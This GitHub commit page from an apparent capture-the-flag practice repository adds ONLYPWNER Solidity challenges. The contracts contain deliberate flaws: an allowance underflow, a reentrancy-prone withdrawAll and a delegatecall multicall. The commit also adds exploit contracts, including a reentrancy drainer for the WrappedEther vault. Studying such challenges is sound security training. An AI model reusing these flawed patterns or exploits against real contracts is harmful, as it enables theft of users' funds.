Skip to content

Commit

Permalink
a
Browse files Browse the repository at this point in the history
  • Loading branch information
6boris committed Oct 8, 2023
1 parent 836f379 commit 617032b
Show file tree
Hide file tree
Showing 34 changed files with 1,196 additions and 73 deletions.
6 changes: 6 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
Expand Up @@ -16,3 +16,9 @@
[submodule "foundry/lib/prb-test"]
path = foundry/lib/prb-test
url = https://github.com/PaulRBerg/prb-test
[submodule "foundry/lib/v2-periphery"]
path = foundry/lib/v2-periphery
url = https://github.com/Uniswap/v2-periphery
[submodule "foundry/lib/v2-core"]
path = foundry/lib/v2-core
url = https://github.com/Uniswap/v2-core
4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,10 @@ git submodule update --rebase --remote
# OR
forge install OpenZeppelin/openzeppelin-contracts@v5.0.0 --no-commit
forge install foundry-rs/forge-std@v1.7.1 --no-commit

forge install Uniswap/v2-periphery --no-commit
forge install Uniswap/v2-core --no-commit

```

```bash
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IVault {
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,4 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface ITutorial {
Expand Down
10 changes: 6 additions & 4 deletions contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import { console2 } from "forge-std/console2.sol";
import { ERC20 } from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import { IERC20 } from "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";

Expand Down Expand Up @@ -46,7 +46,7 @@ contract Vault is IVault {

shares[msg.sender] += newShares;
totalShares += newShares;

console2.log("deposit:", msg.sender, amount, newShares);
token.transferFrom(msg.sender, address(this), amount);
}

Expand All @@ -62,7 +62,7 @@ contract Vault is IVault {
if (msg.sender == owner) {
payoutAmount *= 2;
}

console2.log("withdraw:", msg.sender, sharesAmount, payoutAmount);
token.transfer(msg.sender, payoutAmount);
}
}
Expand All @@ -74,7 +74,9 @@ contract VaultExploit {
victimInstance = Vault(_victim);
}

function attack() external payable { }
function attack() external payable {
victimInstance.deposit(type(uint256).max);
}

receive() external payable { }
}
68 changes: 68 additions & 0 deletions contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IImprovedERC20 {
function transfer(address _to, uint256 _value) external returns (bool);

function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function mint(uint256 _value) external;
function burn(address _who, uint256 _value) external;
function owner() external view returns (address);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}

contract ImprovedERC20 is IImprovedERC20 {
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
address public override owner;

string public override name;
string public override symbol;
uint8 public override decimals;

constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _initialSupply) {
name = _name;
symbol = _symbol;
decimals = _decimals;
owner = msg.sender;
balanceOf[msg.sender] = _initialSupply;
}

function transfer(address _to, uint256 _value) external override returns (bool) {
require(balanceOf[msg.sender] >= _value, "Insufficient balance");
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
return true;
}

function transferFrom(address _from, address _to, uint256 _value) external override returns (bool) {
require(balanceOf[_from] >= _value, "Insufficient balance");
require(allowance[_from][msg.sender] - _value > 0, "Insufficient allowance");
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
return true;
}

function approve(address _spender, uint256 _value) external override returns (bool) {
allowance[msg.sender][_spender] = _value;
return true;
}

function mint(uint256 _value) external override {
require(msg.sender == owner, "Only owner can mint");
balanceOf[msg.sender] += _value;
}

function burn(address _who, uint256 _value) external override {
require(balanceOf[_who] >= _value, "Insufficient balance");
unchecked {
balanceOf[_who] -= _value;
}
}
}
99 changes: 99 additions & 0 deletions contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IWrappedEther {
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Deposit(address indexed from, uint256 amount);
event Withdraw(address indexed to, uint256 amount);

function deposit(address to) external payable;
function withdraw(uint256 amount) external;
function withdrawAll() external;
function transfer(address to, uint256 amount) external;
function transferFrom(address from, address to, uint256 amount) external;
function approve(address spender, uint256 amount) external;
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
}

contract WrappedEther is IWrappedEther {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

function deposit(address to) external payable {
balanceOf[to] += msg.value;
emit Deposit(msg.sender, msg.value);
}

function withdraw(uint256 amount) external {
require(balanceOf[msg.sender] >= amount, "insufficient balance");
balanceOf[msg.sender] -= amount;
sendEth(payable(msg.sender), amount);
emit Withdraw(msg.sender, amount);
}

function withdrawAll() external {
sendEth(payable(msg.sender), balanceOf[msg.sender]);
balanceOf[msg.sender] = 0;
emit Withdraw(msg.sender, balanceOf[msg.sender]);
}

function transfer(address to, uint256 amount) external {
require(balanceOf[msg.sender] >= amount, "insufficient balance");
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
emit Transfer(msg.sender, to, amount);
}

function transferFrom(address from, address to, uint256 amount) external {
require(balanceOf[from] >= amount, "insufficient balance");
require(allowance[from][msg.sender] >= amount, "insufficient allowance");
balanceOf[from] -= amount;
balanceOf[to] += amount;
allowance[from][msg.sender] -= amount;
emit Transfer(from, to, amount);
}

function approve(address spender, uint256 amount) external {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
}

function sendEth(address payable to, uint256 amount) private {
(bool success,) = to.call{ value: amount }("");
require(success, "failed to send ether");
}
}

contract WrappedEtherExploit {
WrappedEther private victimInstance;
uint256 private initialDeposit;

constructor(address _victim) {
victimInstance = WrappedEther(_victim);
}

function attack() external payable {
initialDeposit = msg.value;
victimInstance.deposit{ value: initialDeposit }(address(this));
_withdraw();
}

receive() external payable {
_withdraw();
}

function _withdraw() private {
uint256 victimBalance = address(victimInstance).balance;
if (victimBalance > 0) {
uint256 toWithdraw = initialDeposit;
if (toWithdraw > victimBalance) {
toWithdraw = victimBalance;
}
if (toWithdraw > 0) {
victimInstance.withdrawAll();
}
}
}
}
119 changes: 119 additions & 0 deletions contracts/CTF/ONLYPWNER/06.ALL-OR-NOTHING.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IMulticall {
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results);
}

interface IAllOrNothing {
function declareWinner(address user) external;
function withdrawWinnings() external;
function bet(uint256 number, address recipient) external payable;
function void() external;
function transfer(address to) external;
function publish(uint256 number) external;
function owner() external returns (address);
function bestPlayer() external returns (address);
function winningNumber() external returns (uint256);
function bets(address) external returns (uint256);
function BET_AMOUNT() external returns (uint256);
function DEADLINE() external returns (uint256);
function DECLARE_DEADLINE() external returns (uint256);
}

contract Multicall is IMulticall {
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = doDelegateCall(data[i]);
}
return results;
}

function doDelegateCall(bytes memory data) private returns (bytes memory) {
(bool success, bytes memory res) = address(this).delegatecall(data);

if (!success) {
revert(string(res));
}

return res;
}
}
/// A contract where users can bet on a random number being published.
/// The user who is closest to the number wins all the bets.

contract AllOrNothing is IAllOrNothing, Multicall {
address public owner;
address public bestPlayer;
uint256 public winningNumber;
mapping(address => uint256) public bets;

uint256 public immutable BET_AMOUNT;
uint256 public immutable DEADLINE;
uint256 public immutable DECLARE_DEADLINE;

constructor(uint256 betAmount, uint256 duration) {
owner = msg.sender;
BET_AMOUNT = betAmount;
DEADLINE = block.timestamp + duration;
DECLARE_DEADLINE = DEADLINE + 1 days;
}

function declareWinner(address user) external {
require(bets[user] != 0, "Must have placed bet");
require(block.timestamp >= DEADLINE && block.timestamp < DECLARE_DEADLINE, "Deadline not passed");
require(winningNumber != 0, "Winning number not published");

if (bestPlayer == address(0)) {
bestPlayer = user;
return;
}
unchecked {
uint256 distance = bets[user] > winningNumber ? bets[user] - winningNumber : winningNumber - bets[user];
uint256 bestDistance =
bets[bestPlayer] > winningNumber ? bets[bestPlayer] - winningNumber : winningNumber - bets[bestPlayer];
if (distance < bestDistance) {
bestPlayer = user;
}
}
}

function withdrawWinnings() external {
require(msg.sender == bestPlayer, "Must be best player");
require(block.timestamp >= DECLARE_DEADLINE, "Deadline not passed");

payable(msg.sender).transfer(address(this).balance);
}

function bet(uint256 number, address recipient) external payable {
require(bets[recipient] == 0, "Already placed bet");
require(msg.value == BET_AMOUNT, "Value too low");
require(block.timestamp < DEADLINE, "Deadline passed");

bets[recipient] = number;
}

function void() external {
require(bets[msg.sender] != 0, "Must have placed bet");
require(block.timestamp < DEADLINE, "Deadline passed");

bets[msg.sender] = 0;
payable(msg.sender).transfer(BET_AMOUNT);
}

function transfer(address to) external {
require(bets[msg.sender] != 0, "Must have placed bet");
require(bets[to] == 0, "Recipient must not have placed bet");

bets[to] = bets[msg.sender];
bets[msg.sender] = 0;
}

function publish(uint256 number) external {
require(msg.sender == owner, "Must be owner");
require(block.timestamp >= DEADLINE, "Deadline not passed");

winningNumber = number;
}
}
Loading

0 comments on commit 617032b

Please sign in to comment.